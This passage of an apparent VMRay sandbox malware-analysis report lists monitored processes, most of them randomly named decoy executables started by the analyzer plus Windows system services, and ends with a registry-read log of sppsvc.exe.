Bitness	64-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 116C 0x 174 0x 15C 0x B60 0x 408 0x FB0

Process #82: entering.exe

0

»

Information	Value
ID	#82
File Name	c:\program files (x86)\windows mail\entering.exe
Command Line	"C:\Program Files (x86)\Windows Mail\entering.exe"
Initial Working Directory	C:\Program Files (x86)\Windows Mail\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0x4d8
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 470 0x 4F0

Process #83: anne measurement nut.exe

0

»

Information	Value
ID	#83
File Name	c:\program files (x86)\reference assemblies\anne measurement nut.exe
Command Line	"C:\Program Files (x86)\Reference Assemblies\anne measurement nut.exe"
Initial Working Directory	C:\Program Files (x86)\Reference Assemblies\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0x388
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x B10 0x 3A8

Process #84: marilyn_becoming_editors.exe

0

»

Information	Value
ID	#84
File Name	c:\program files (x86)\msbuild\marilyn_becoming_editors.exe
Command Line	"C:\Program Files (x86)\MSBuild\marilyn_becoming_editors.exe"
Initial Working Directory	C:\Program Files (x86)\MSBuild\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xcb8
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x E94 0x 37C

Process #85: divorce mode twelve.exe

0

»

Information	Value
ID	#85
File Name	c:\program files (x86)\internet explorer\divorce mode twelve.exe
Command Line	"C:\Program Files (x86)\Internet Explorer\divorce mode twelve.exe"
Initial Working Directory	C:\Program Files (x86)\Internet Explorer\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0x7f0
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x B0C 0x 7EC

Process #86: convertible-suicide-construction.exe

0

»

Information	Value
ID	#86
File Name	c:\program files\unp\convertible-suicide-construction.exe
Command Line	"C:\Program Files\UNP\convertible-suicide-construction.exe"
Initial Working Directory	C:\Program Files\UNP\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xcd8
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x E80 0x 7BC

Process #87: mas.exe

0

»

Information	Value
ID	#87
File Name	c:\program files (x86)\internet explorer\mas.exe
Command Line	"C:\Program Files (x86)\Internet Explorer\mas.exe"
Initial Working Directory	C:\Program Files (x86)\Internet Explorer\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xcf0
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x BE8 0x D00

Process #88: flashing_gcc_little.exe

0

»

Information	Value
ID	#88
File Name	c:\program files (x86)\windowspowershell\flashing_gcc_little.exe
Command Line	"C:\Program Files (x86)\WindowsPowerShell\flashing_gcc_little.exe"
Initial Working Directory	C:\Program Files (x86)\WindowsPowerShell\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xcec
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x B80 0x CE4

Process #89: americannumberssubstance.exe

0

»

Information	Value
ID	#89
File Name	c:\program files (x86)\windows portable devices\americannumberssubstance.exe
Command Line	"C:\Program Files (x86)\Windows Portable Devices\americannumberssubstance.exe"
Initial Working Directory	C:\Program Files (x86)\Windows Portable Devices\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0x658
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x D8C 0x 654

Process #90: stupid-jeffrey-investors.exe

0

»

Information	Value
ID	#90
File Name	c:\program files (x86)\microsoft office\stupid-jeffrey-investors.exe
Command Line	"C:\Program Files (x86)\Microsoft Office\stupid-jeffrey-investors.exe"
Initial Working Directory	C:\Program Files (x86)\Microsoft Office\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xa8c
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x BFC 0x 788

Process #91: successfully.exe

0

»

Information	Value
ID	#91
File Name	c:\program files (x86)\windowspowershell\successfully.exe
Command Line	"C:\Program Files (x86)\WindowsPowerShell\successfully.exe"
Initial Working Directory	C:\Program Files (x86)\WindowsPowerShell\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xd48
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 84 0x D44

Process #92: does.exe

0

»

Information	Value
ID	#92
File Name	c:\program files\rempl\does.exe
Command Line	"C:\Program Files\rempl\does.exe"
Initial Working Directory	C:\Program Files\rempl\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0x90c
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x F4 0x D2C

Process #93: chocolate.exe

0

»

Information	Value
ID	#93
File Name	c:\program files (x86)\windows mail\chocolate.exe
Command Line	"C:\Program Files (x86)\Windows Mail\chocolate.exe"
Initial Working Directory	C:\Program Files (x86)\Windows Mail\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xc30
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x F0 0x B04

Process #94: gnu.exe

0

»

Information	Value
ID	#94
File Name	c:\program files\windows media player\gnu.exe
Command Line	"C:\Program Files\Windows Media Player\gnu.exe"
Initial Working Directory	C:\Program Files\Windows Media Player\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xd5c
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 868 0x D68 0x D58

Process #95: superbguilty.exe

0

»

Information	Value
ID	#95
File Name	c:\program files (x86)\windows photo viewer\superbguilty.exe
Command Line	"C:\Program Files (x86)\Windows Photo Viewer\superbguilty.exe"
Initial Working Directory	C:\Program Files (x86)\Windows Photo Viewer\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xd10
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 6DC 0x D80

Process #96: daddy.exe

0

»

Information	Value
ID	#96
File Name	c:\program files\reference assemblies\daddy.exe
Command Line	"C:\Program Files\Reference Assemblies\daddy.exe"
Initial Working Directory	C:\Program Files\Reference Assemblies\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xd18
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 7CC 0x C34 0x D14

Process #97: vt mapping.exe

0

»

Information	Value
ID	#97
File Name	c:\program files\windows security\vt mapping.exe
Command Line	"C:\Program Files\Windows Security\vt mapping.exe"
Initial Working Directory	C:\Program Files\Windows Security\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xdcc
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 720 0x A60 0x DC8

Process #98: primarily-walk.exe

0

»

Information	Value
ID	#98
File Name	c:\program files (x86)\adobe\primarily-walk.exe
Command Line	"C:\Program Files (x86)\Adobe\primarily-walk.exe"
Initial Working Directory	C:\Program Files (x86)\Adobe\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xa5c
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 704 0x BB4 0x 668

Process #99: hungary.exe

0

»

Information	Value
ID	#99
File Name	c:\program files (x86)\windowspowershell\hungary.exe
Command Line	"C:\Program Files (x86)\WindowsPowerShell\hungary.exe"
Initial Working Directory	C:\Program Files (x86)\WindowsPowerShell\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xbec
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 6AC 0x 7FC

Process #100: maternity.exe

0

»

Information	Value
ID	#100
File Name	c:\program files (x86)\windows media player\maternity.exe
Command Line	"C:\Program Files (x86)\Windows Media Player\maternity.exe"
Initial Working Directory	C:\Program Files (x86)\Windows Media Player\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0x2ac
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 68C 0x 2D4

Process #101: telephony_assumption_pharmacies.exe

0

»

Information	Value
ID	#101
File Name	c:\program files (x86)\windows mail\telephony_assumption_pharmacies.exe
Command Line	"C:\Program Files (x86)\Windows Mail\telephony_assumption_pharmacies.exe"
Initial Working Directory	C:\Program Files (x86)\Windows Mail\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions
Remark	This is a randomly generated process started by the VMRay Analyzer prior to the sample analysis.

OS Process Information

»

Information	Value
PID	0xdb4
Parent PID	0x860 (c:\windows\explorer.exe)
Bitness	32-bit
Is Created or Modified Executable
Integrity Level	Medium
Username	NQDPDE\FD1HVy
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 738 0x DC0 0x DC4

Process #103: svchost.exe

0

»

Information	Value
ID	#103
File Name	c:\windows\system32\svchost.exe
Command Line	C:\WINDOWS\system32\svchost.exe -k LocalServiceAndNoImpersonation
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x86c
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Local Service
Enabled Privileges	SeChangeNotifyPrivilege, SeCreateGlobalPrivilege
Thread IDs	0x D20 0x A98 0x DEC 0x A70 0x 26C 0x 8F0 0x C04 0x C38 0x 840

Process #104: compattelrunner.exe

0

»

Information	Value
ID	#104
File Name	c:\windows\system32\compattelrunner.exe
Command Line	C:\WINDOWS\system32\compattelrunner.exe -m:aeinv.dll -f:UpdateSoftwareInventoryW
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0xefc
Parent PID	0x12c (c:\windows\system32\svchost.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 47C 0x 4B0

Process #106: trustedinstaller.exe

0

»

Information	Value
ID	#106
File Name	c:\windows\servicing\trustedinstaller.exe
Command Line	C:\WINDOWS\servicing\TrustedInstaller.exe
Initial Working Directory	C:\WINDOWS\system32\
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00
Remark	No high level activity detected in monitored regions

OS Process Information

»

Information	Value
PID	0x1064
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\SYSTEM
Enabled Privileges	SeLockMemoryPrivilege, SeTcbPrivilege, SeSystemProfilePrivilege, SeProfileSingleProcessPrivilege, SeIncreaseBasePriorityPrivilege, SeCreatePagefilePrivilege, SeCreatePermanentPrivilege, SeDebugPrivilege, SeAuditPrivilege, SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege, SeIncreaseWorkingSetPrivilege, SeTimeZonePrivilege, SeCreateSymbolicLinkPrivilege, SeDelegateSessionUserImpersonatePrivilege
Thread IDs	0x 10A0 0x 108C 0x 1084 0x 1080 0x 107C 0x 1074 0x 1070 0x 1068

Process #107: sppsvc.exe

5775

0

»

Information	Value
ID	#107
File Name	c:\windows\system32\sppsvc.exe
Command Line	C:\WINDOWS\system32\sppsvc.exe
Initial Working Directory	C:\WINDOWS
Monitor	Start Time: 00:02:25, Reason: Child Process
Unmonitor	End Time: 00:04:25, Reason: Terminated by Timeout
Monitor Duration	00:02:00

OS Process Information

»

Information	Value
PID	0x11c4
Parent PID	0x250 (c:\windows\system32\services.exe)
Bitness	64-bit
Is Created or Modified Executable
Integrity Level	System (Elevated)
Username	NT AUTHORITY\Network Service
Enabled Privileges	SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs	0x 1360 0x 135C 0x 11E4 0x 11D0 0x 11C8 0x CA0 0x 11A0 0x 1054 0x 13C0 0x 47C

Threads

Thread 0x135c

483

0

»

Category	Operation	Information	Count	Logfile
System	Get Info	-	7	Fn
System	Get Time	type = Ticks, time = 226859	1	Fn
System	Get Info	-	2	Fn
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-1	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-1, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-10	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-10, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-11	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-11, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-12	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-12, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-13	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-13, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-14	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-14, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-15	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-15, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-16	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-16, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-17	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-17, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-18	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-18, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-19	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-19, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-2	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-2, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-20	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-20, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-21	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-21, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-22	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-22, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-23	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-23, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-24	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-24, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-25	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-25, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-26	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-26, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-27	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-27, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-28	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-28, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-29	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-29, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-3	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-3, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-30	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-30, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-31	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-31, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-32	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-32, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-33	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-33, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-34	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-34, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-35	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-35, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-36	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-36, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
System	Get Info	-	4	Fn
Registry	Open Key	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-37	1	Fn
Registry	Read Value	reg_name = 8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-37, type = REG_BINARY	1	Fn Data
Registry	Enumerate Keys	-	1	Fn
